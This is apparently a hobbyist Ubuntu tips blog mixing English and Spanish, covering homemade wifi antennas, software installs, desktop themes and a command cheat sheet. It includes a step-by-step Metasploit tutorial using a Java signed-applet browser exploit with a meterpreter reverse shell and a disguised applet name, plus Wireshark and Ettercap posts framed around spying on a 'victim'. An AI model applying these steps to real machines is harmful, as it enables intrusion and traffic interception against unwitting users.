Showing posts with label English. Show all posts
Showing posts with label English. Show all posts

Wednesday, January 16, 2013

Wifi-antenna


Hi, I've been busy so I haven't writen in so much time. In this article I'll explain how create antennas for winning wifi-signal.

Antenna 2-pringles

The first one is called "cantenna". Consist on 2 cans of potatoes connected. 



We need:

-2 cans of pringles 165g
-Adhesive tape
-Scissors
-16 washers (3mm dm in) (1. picture)
-32 washers (6mm dm ou) (2.pic)
-32 screw (3mm dm in)
-A screwed bar (50cm 3mm dm)

*Excp: Yo can add 2 c-discs, in that case yo have to recover them with silver paper or Al-Adhesive tape:
-Adhesive tape (aluminium)
-Two c-discs.



1. washer
2. washer
                               


















We have to mark the screwed bar each 3 cm.
We have tu cut 3 circles, 1 for the base, another for the middle, and the last for the cover.
We have to locate them:
screw-tiny washer-big washer-tiny washer-screw.



Yo have to made a tiny hole to introduce the wifi-pen.







Antena escurridor de aceite.

Para mí esta es la mejor y con la que mejores resultados he obtenido. Y es la más sencilla de hacer.
Materiales:
-Colador
-Rosca y 2 tuercas de manguera de jardín



Dm=30 cm.
You have to make a hole in the middle.
Partimos por la mitad la rosca para meter el cable y lo ponemos en el agujero del colador.
Metemos con cuidado las tuercas y dejamos que el extremo de cable hembra sobresalga un poco pero sin llegar a pasarla y enroscamos bien para que se quede fijo. La otra rosca tiene qe pasar entera.

Metasploit


HOWTO METASPLOIT

We open a shell and type:

sudo msfconsole


This program uses exploits for cracking another computer, we will use a virtual machine or in my case another computer of mine.

We will use this exploit:

use exploit/multi/browser/java_signed_applet


This exploit uses java, that is present in mostly of the web apps.
We have to name the plugin:

set APPLETNAME google

You can name the applet as you wish, but try to put something well-known
Now you have to create the server, the server is our IP. The client will conect to that direction. If you don't know your Ip, open a shell and type:

sudo ifconfig


I'm conected to the interface wlan0, so my IP is 192.168.1.41
We come back to the metasploit shell and type:

set SRVHOST 192.168.1.41


Now the port, the port is usually 80:

set SRVPORT 80


The route:

set URIPATH /


And now we run the payload:

set payload windows/meterpreter/reverse_tcp


Now we have to put the local host, that's our IP too:

set LHOST 192.168.1.41



Now run the exploit:

exploit



And that's all, in the virtual machine type the IP in your browser.


Then java will appear:


Then in our computer, and in the metasploit shell will appear
Meterpreter opened in session 1 

Or something like that, so we have to type:

sessions -i 1

The number is the id of the session, it can be 1, 2 or another number. Now you are de admin in that computer, you can use the orders of windows:

shutdown, reboot, regshot....

There are a lot of orders, so you have to try all of them.

I have learned all with google and watching videos. I'm not responsible of what you do, with this tutorial.

Install metasploit


I'm presenting to you metasploit, a program which is based in "exploits", tiny programs that allow us to do interesting things.

We have to download it:


We have to download our version.

Then we open a shell and then we install it.

metasploit-latest-linux-x64-installer.run 



In the shell we write for the root access and execution:

sudo chmod +x metasploit-latest-linux-x64-installer.run 

Then install:

sudo ./metasploit-latest-linux-x64-installer.run 


We have to wait a while, and maybe we would have to update.

Then we have to create an account.
Before we have to install some dependencies:

sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby
irb ri rubygems subversion build-essential ruby-dev libpcap-dev

Then we type:

sudo msfconsole



It will take a while so be patient. 

Dropbox


I'll talk about dropbox, it's a usefull tool which is being used in some colleges. If you want to install it, you have to do the following.

We must write in a shell:

sudo apt-get install dropbox

I prefer downloading it from the webpage. It's better and the program won't bother us with the upgrades. With this link, you'll win free storage, as I do. 

Monday, April 9, 2012

Wireshark


In this section, I'll show you how to use wireshark.
First of all install wireshark
When you have installed wireshark, you've to open it throw a terminal, with:
sudo wireshark
In this step, we'll make the capture, with the selected interface, if you prefer to not to complicate yourself, capture in all of them.
Then you'll see something like this:




If you want to see what is doing your victim, or what webpages is visiting type as a filter http.
If you take a look, below the coloured window, there is a window with signs, numbers, letters...; that's the protection of this webpage, if it desn' have protection you can manipulate this webpage, for example tuenti, facebook...
You can do lots of things with that program, like check if someone is using a email cient, a chat... WEP injection....


This is only for learning, I'm not responsible if someone uses it for bad uses.

Thursday, March 29, 2012

Take care

Sometimes, in ubuntu, when you are "root" and you're working with some files, we can delete by accident a very important folder or file. I'll explain how can we avoid that.
First of all, if you're working with the terminal, you have to be very careful with the names of the files, cause if you write something wrong and you're deleting some files ought to a old installation, because if you type the name incorrectly, you can delete another file. 
Also be careful when you copy or move files, because the most important is to type the route of the file or folder and where do you want to copy or move the file.

Saturday, January 7, 2012

Install Ettercap

Here I'll show you how to install ettercap, a program to manage the connections on your network.

First of all, we must install:
sudo apt-get install build-essential 
sudo apt-get install linux-headers-`uname -r`

sudo apt-get install libpcre3-dev 
sudo apt-get install libpcap0.8-dev 
sudo apt-get install libnet1-dev 
sudo apt-get install openssl
sudo apt-get install libssl-dev 
sudo apt-get install ncurses-bin 
sudo apt-get install libncurses5-dev 
sudo apt-get install libnet6-1.3-dev 
sudo apt-get install libpthread-stubs0-dev 
sudo apt-get install zlib1g-dev 
sudo apt-get install libltdl-dev 
sudo apt-get install pango-graphite
sudo apt-get install pkg-config 
sudo apt-get install libpango1.0-dev 
sudo apt-get install libatk1.0-dev 
sudo apt-get install libgtk2.0-dev 

sudo apt-get install autoconf
sudo apt-get install byacc



**: If you can't install one of them, look for it in ppa manager. How to get y-ppa-manager.
And finally:


sudo apt-get install ettercap-gtk ettercap-common


When you have installed it, type on the terminal:
sudo gedit /etc/etter.conf


And we look for something like "iptables" and delete the #.

It will be like:


redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"


And now open the program:


sudo ettercap -C   (text-mode)
sudo ettercap --gtk (graphic-mode)

Grub - Burg

In Ubuntu the grub menu is a bit ugly, so many people like to change it a bit, we can do it.


First we install an application to manage the grub menu, grub-customizer:
sudo apt-get install grub-customizer

The app's name is BURG:
Ubuntu 10.10 and below

sudo add-apt-repository ppa:bean123ch/burg    
sudo apt-get update
sudo apt-get install burg burg-themes
sudo apt-get install burg-emu

Ubuntu 11.04 and above

sudo add-apt-repository ppa:nmuench/burg
sudo apt-get update
sudo apt-get install burg burg-themes
sudo apt-get install burg-emu

Next Step

When we have everything installed, in a console, we type burg-emu, now you'll see how the burg-menu will appear. To change the theme, you have to restart and push F2, and then choose your favourite one.

Ubuntu like Mac

A lot of people think that Ubuntu is an ugly O.S. but that people are wrong cause Ubuntu can be so pretty as mac, or like windows, or whatever you want.

Well first of all we need to install a few things:
1. We have to deactivate Unity, and install a dock, my favourite dock is AWN, but there are more options;
sudo apt-get install avant-window-navigator

Then we need to download the package theme of mac from gnome-look.org, you have a lot of themes if you don't like mac:

Wallpapers http://www.winmatrix.com/forums/index.php?/topic/4326-mac-os-x-tiger-wallpapers/

Icons http://gnome-look.org/content/show.php/Meopard+mac+Theme?content=147309

Activate Emerald if you want to see the animations, or compiz-fusion, i installed the second one:

sudo apt-get install compiz-fusion
compiz-plugins
compiz-plugins-extra
compizconfig-settings-manager


It would be easier with compiz.

When you have everything of above done, you have to click on your desktop, with the right button and in theme install it with the files that we have downloaded.

When you have finished your Ubuntu will look like a Mac, for free.

If you have any doubt, write a comment. IN my next post I wil write how to change the grub menu.


When you install the theme, you should restart the computer.

Install Ubuntu 11.10


If we want to upgrade from a previous version, you must upgrade your system first, then you type:
sudo apt-get update 
sudo apt-get upgrade
And finally:
update-manager-d
You'll see that screen

You can also upgrade from the live cd:



Also a new installation of ubuntu 11.10 (32 bit or 64 bit).


Select your language and connect t the internet your computer, and make sure that it will download the updates:
Selecciona las opciones.

Now you'll see:

This option is to install ubuntu with your other O.S. you can also erase everything and only install Ubuntu

Then you'll have to write a few things, your name, password, and in 10-20 minuts the installation will finish.


Install Netbeans

If you have ubuntu 11.10, you won't be able to install Netbeans, so if you want to install it, you have to look for the netbeans package in Y-PPA-Manager and add the repository:

How to

sudo add-apt-repository ppa:uninea/java
sudo apt-get update 
sudo apt-get install netbeans


To add C/C++ app, and other features, you have to look for them in the plugins tab, then you have to tick that ones you like and install them.

Thursday, December 15, 2011

Tv Ubuntu

In ubuntu you can watch Tv via streaming or TDT-card, I'm going to write about the streaming-tv sofware

Tivion


It's a fantastic programm to watch tv, I really recommend it.
sudo add-apt-repository ppa:shakaran/ppa (not for natty and oneiric)
sudo apt-get update
sudo apt-get install tivion




Sopcast-player

A P2P client, if you like sports, you'll love this programm

sudo add-apt-repository ppa:jason-scheunemann/ppa
sudo apt-get update
sudo apt-get install sopcast-player


FreeTuxTV

This one is not wellknown as sopcast, but it's also cool:

sudo add-apt-repository ppa:freetuxtv/freetuxtv
sudo apt-get update
sudo apt-get install freetuxtv







Zattoo

It's really good, but... you'll have to pay for watching tv:





Install dependencies

sudo apt-get install libgtkglext1 libxul0d

And now install the *.deb package:

sudo dpkg -i zattoo-*.deb

Install Ubuntu 11.10

If we wish to upgrade to Ubuntu 11.10; we have 2 options:
Upgrade without live CD:
sudo apt-get update 
sudo apt-get upgrade
When you have installed all the upgrades avaible push Alt+F2 and type:
update-manager-d
You'll see this window

Upgrade with the live CD:



You can also install it normally, or removing everything


Select your language, connect to your network, and select the two options below:


Then you'll see:


The recommended option is install Ubuntu with the other O.S. if you want to keep it, if not.... erase everything and install Ubuntu. Then you'll have to wait... 10, 20 or 30 minuts until it finishes

Orders in Ubuntu

Probably this post should have been one of my first post, but it doesn't matter, I post it now.

sudo Run something as admin
sudo su It opens a terminal in admin. mode.

"THE [  ]  AREN'T NECESSARY.

Install, unistall and updates
sudo apt-get update Update repositories 
sudo apt-get upgrade Look for upgrades.
sudo apt-get autoclean Clean the cache.
sudo apt-get purge Clean the config. files.
sudo apt-get purge [package] Unistall and clean everything of a package.
sudo apt-get istall [package] Install  package.
sudo apt-get remove [package] Unistall a package
sudo apt-get autoremove Unistall innecessary packages
sudo add-apt-repository [repository ppa] Add a repository
 Files
The sudo on this part can be necessary sometimes:

cp [file] Copy a file
rm [file] Delete a file
rm -r  [folder]  Delete a Folder
ls [folder] Show  the content of a folder
cd [folder] Go to.... folder
cd Go to user folder (home)
mkdir [directory/newfolder] Create a new folder on the [directory].
mv [1st directory] [2nd directory] Move a file from 1st directory to 2nd directory.
mv [1st directory] [1st directory (different name of the file] Change name.
find [directory] -name [name] Looks for a file with the name ______.

Other


ps -AL Shows everything that's running
sudo kill [number] Close a program qith that number listed in the "ps -AL".
clear Clean the terminal
sudo passwd Change password


dpkg



sudo dpkg -i  [package] Install  package.
sudo dpkg -r  [package] Unistall a package
sudo dpkg -r -purge [package] Unistall and clean everything of a package.